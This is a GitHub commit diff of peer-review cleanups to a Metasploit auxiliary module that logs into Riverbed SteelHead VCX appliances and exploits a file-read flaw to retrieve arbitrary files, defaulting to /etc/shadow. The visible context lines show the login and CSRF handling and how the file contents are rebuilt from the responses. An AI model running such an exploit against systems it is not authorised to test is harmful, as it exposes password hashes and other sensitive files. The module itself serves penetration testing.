Skip to content

Commit a349eb9

Browse files
committed
fixes per peer review
1 parent de86c5d commit a349eb9

File tree

1 file changed

+3
-7
lines changed

1 file changed

+3
-7
lines changed

modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'json'
7-
86
class MetasploitModule < Msf::Auxiliary
97

108
include Msf::Exploit::Remote::HttpClient
@@ -33,7 +31,6 @@ def initialize
3331

3432
register_options(
3533
[
36-
Opt::RPORT(80),
3734
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
3835
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
3936
OptString.new('USERNAME', [true, 'Username', 'admin']),
@@ -42,7 +39,6 @@ def initialize
4239
end
4340

4441
def run_host(ip)
45-
4642
# pull our csrf
4743
res = send_request_cgi({
4844
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
@@ -66,7 +62,6 @@ def run_host(ip)
6662
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
6763
'method' => 'POST',
6864
'cookie' => cookie,
69-
'ctype' => 'application/x-www-form-urlencoded;',
7065
'vars_post' => {
7166
'csrfmiddlewaretoken' => csrf,
7267
'_fields' => JSON.generate({
@@ -108,7 +103,7 @@ def run_host(ip)
108103
end
109104

110105
if res && res.body
111-
result = JSON.parse(res.body)
106+
result = res.get_json_document
112107
unless result.has_key?('web3.model')
113108
print_error('Invalid JSON returned')
114109
return
@@ -118,7 +113,7 @@ def run_host(ip)
118113
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
119114
result['web3.model']['messages']['rows'].each do |row|
120115
if row['msg'].start_with?(datastore['FILE'])
121-
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip()
116+
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
122117
end
123118
end
124119
if reconstructed_file.any?
@@ -131,4 +126,5 @@ def run_host(ip)
131126
end
132127
end
133128
end
129+
134130
end

0 commit comments

Comments
 (0)